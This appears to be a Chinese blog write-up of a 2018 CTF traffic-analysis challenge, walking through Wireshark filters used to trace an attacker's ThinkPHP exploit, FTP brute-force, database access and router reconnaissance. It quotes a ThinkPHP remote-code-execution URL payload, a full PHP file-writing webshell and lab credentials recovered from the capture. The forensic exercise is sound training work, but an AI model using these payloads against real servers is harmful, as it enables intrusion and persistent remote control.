CTF我爱编程

【CTF-MISC】2018西普杯铁人三项数据赛

2018-05-24  本文已影响342人  Kirin_say

上周参加了西普杯铁人三项
大致记录一下数据赛流量分析的过程

0x01 基本信息

首先Wireshark分析第一个数据包:
可以看到数据太多:
先http协议过滤一下,以便了解大致过程
很多无用的正常包
很显然看到202.1.1.2192.168.1.99的请求有些异常
直接进行过滤:

http and ip.addr==202.1.1.2
or
http and ip.src==202.1.1.2
HTTP
很显然攻击者利用thinkPHP框架下的任意代码执行漏洞
攻击者:
IP:202.1.1.2

0x02 Webshell相关

服务器拿到的webshell的网址

从上面的攻击者的代码执行过程可以看到服务器拿到webshell的网址:

http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

网站根目录的绝对路径

接下来看一下攻击者执行的代码,base64解码后,发现其查询了phpinfo并写入了webshell:
追踪http流提取出phpinfo(保存成html文件后打开即可):

图片.png
即可在phpinfo中即可看到网站根目录:
/var/www/html/easytalk

攻击者上传的第一个文件

追踪后面的http流并解码base64即可看到:
上传的第一个文件:scan.php
同时,可以看到其写入的webshell:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

其中有3个不同z1的值(写入了3个文件):
z1:/var/www/html/easytalk/scan.php
z1:/var/www/html/easytalk/tunnel.php
z1:/var/www/html/easytalk/tunnel.nosocket.php

分别从数据包中提取出z2以十六进制保存文件即可看到写入文件的具体信息,但好像比赛过程只用到了前面的scan.php:


scan.php

0x03 服务器信息

1.99的cms信息:

过滤:

http and ip.addr==192.168.1.99

查找返回信息中与其cms相关的信息:
其实从上面的写入的文件路径可以看出应该是easytalk
直接在过滤后搜索分组字节流的字符串就可以找到:
最后在第二个数据包中找到了答案:


easytalk

主机名:

因为上面提取过phpinfo,打开即有主机名信息:

phpinfo
主机名:simplefight1

端口扫描范围:

从scan.php的内容可以看出攻击者利用上传的scan.php来进行扫描
直接搜索列表信息字符串scan.php
追踪http流即可看到扫描端口范围(其实有两个,当时没仔细分析,毕竟有五次作答机会,最多两次就试出来了):


1
2

0x03 FTP相关

ftp服务账号密码以及黑客成功登陆ftp的时间

在第二个数据包中
过滤ftp协议,发现攻击者不断尝试登陆建立ftp连接:

ftp
找到第一次成功建立连接的地方:
success
看到这里的用户名及密码:administrator/123456
并在数据包中看到其成功登录的时间:
time
攻击者成功登陆时间:14:07:15

攻击者通过ftp协议下载的敏感文件及路径

接下来直接过滤ftp协议即可看到攻击者不断猜解路径
并且最后找到:
/phpStudy/WWW/config/config_db.php

0x04 数据库相关

admin_zz管理员的密码

(这题与数据库无关,只是按顺序夹在ftp和数据库之间,不知道往哪里放)
过滤:

http && ip.addr == 192.168.1.99 

在分组详情中查找:admin_zz
在第三个数据包中发现:

admin_zz
admin_zz的密码为:1q2w3e4r

数据库的用户名密码

下面查看config_db.php的内容:
过滤协议:

ftp-data

在其中一个流量包中发现了config_db.php:
查看数据库配置配置信息:

config_db.php
可以看到数据库的用户名和密码:
localhost/S1mp13zz
其实也可以通过第四个数据包过滤mysql协议通过查看query语句找到相关信息,不过这里的密码是加密过的,无法获取信息:
mysql

攻击者查看的一些表的信息以及其设置的genreal log的绝对路径

这些信息询问的数据库、表以及设置genreal log的绝对路径等信息可以直接从过滤mysql后的这些数据包中的sql查询语句中得到,不再细说

0x05 路由器相关

路由器的品牌、型号、版本

过滤一下本地局域网(路由器常用界面):

http && ip.addr == 192.168.0.1

在第一个数据包中看到了答案:

路由器
可以看到路由器及其版本号为:TL-WAR1300L v1.0

路由器的所有IP地址

猜测接下来攻击者会获取路由信息
所以追踪后面的几条http流
发现几条数据:

{
    "id": 1,
    "result": {
        "normal": [{
            "py_isup": false,
            "ipaddr": "",
            "t_type": "ethernet",
            "t_isup": "disconnect",
            "t_name": "WAN1",
            "t_linktype": "dhcp"
        },{
            "py_isup": false,
            "ipaddr": "",
            "t_type": "ethernet",
            "t_isup": "disconnect",
            "t_name": "WAN2",
            "t_linktype": "dhcp"
        },{
            "py_isup": false,
            "ipaddr": "",
            "dhcp_status": "on",
            "t_type": "ethernet",
            "t_name": "LAN1",
            "t_isup": "disconnect",
            "t_linktype": "static"
        }, {
            "py_isup": false,
            "ipaddr": "",
            "dhcp_status": "on",
            "t_type": "ethernet",
            "t_name": "LAN2",
            "t_isup": "disconnect",
            "t_linktype": "static"
        }, {
            "py_isup": false,
            "ipaddr": "",
            "dhcp_status": "on",
            "t_type": "ethernet",
            "t_name": "LAN3",
            "t_isup": "disconnect",
            "t_linktype": "static"
        }]
    },
    "error_code": "0"
}

可以看到这里有5个端口,WAN1,WAN2,LAN1,LAN2,LAN3都是关闭状态
继续追踪http流:
发现:

{
"id":1,
"result":{
    "normal":[
        {
            "py_isup":true,
            "ipaddr":"202.1.1.1",
            "t_type":"ethernet",
            "t_isup":"connect",
            "t_name":"WAN1",
            "t_linktype":"static" 
    },
        {
            "py_isup":true,
            "ipaddr":"192.168.12.173",
            "t_type":"ethernet",
            "t_isup":"internet",
            "t_name":"WAN2",
            "t_linktype":"dhcp" 
    },
        {
            "py_isup":true,
            "ipaddr":"192.168.0.1",
            "dhcp_status":"on",
            "t_type":"ethernet",
            "t_name":"LAN1",
            "t_isup":"connect",
            "t_linktype":"static" 
    },
        {
            "py_isup":true,
            "ipaddr":"192.168.0.1",
            "dhcp_status":"on",
            "t_type":"ethernet",
            "t_name":"LAN2",
            "t_isup":"connect",
            "t_linktype":"static" 
    },
        {
            "py_isup":false,
            "ipaddr":"192.168.0.1",
            "dhcp_status":"on",
            "t_type":"ethernet",
            "t_name":"LAN3",
            "t_isup":"disconnect",
            "t_linktype":"static" 
    } 
] 
},
"error_code":"0" 
}

这里就是路由器所有IP地址:
192.168.0.1,192.168.12.173,202.1.1.1

路由器的端口监控中的监控端口和被监控端口

过滤

http contains "port" && ip.addr == 192.168.0.1

发现一条记录:

port
不太懂这个数据,不过从json数据的英文可以看出:
应该是3号端口监控1,2端口

路由器接口个数以及WAN口和LAN口个数:

从上面第二次追踪的数据中可以看出,路由器最终有5个接口,并且开启了WAN1,WAN2,LAN1,LAN2
所以共有5个接口,其中2个WAN启用,两个LAN启用

路由器的系统路由表的条数以及第三条的子网掩码:

过滤协议:

ip.addr == 192.168.0.1 && http 

而后在分组详情中中查找"gateway"
或者直接过滤:

http contains "gateway" && ip.addr==192.168.0.1

查找后看到一条数据:

gateway
很显然:
一共5条数据,且第三条的子网掩码为:255.255.252.0

路由器的5Gwif名称和信道:

直接查找与信道相关的http流
与查找"gateway"方法相同
分组详情查找"5G"(区分大小写),或者"channel"(信道)
在查找"5G"时发现:

5G
可以看到:5Gwif名称为test-ge1,信道为:36

0x06 END

最后总成绩不错,决赛加油吧
附上比赛数据包:

https://drive.google.com/open?id=15GEJRUFv8WdxFCIvuuuOMAp8no8X7gjt
上一篇下一篇

猜你喜欢

热点阅读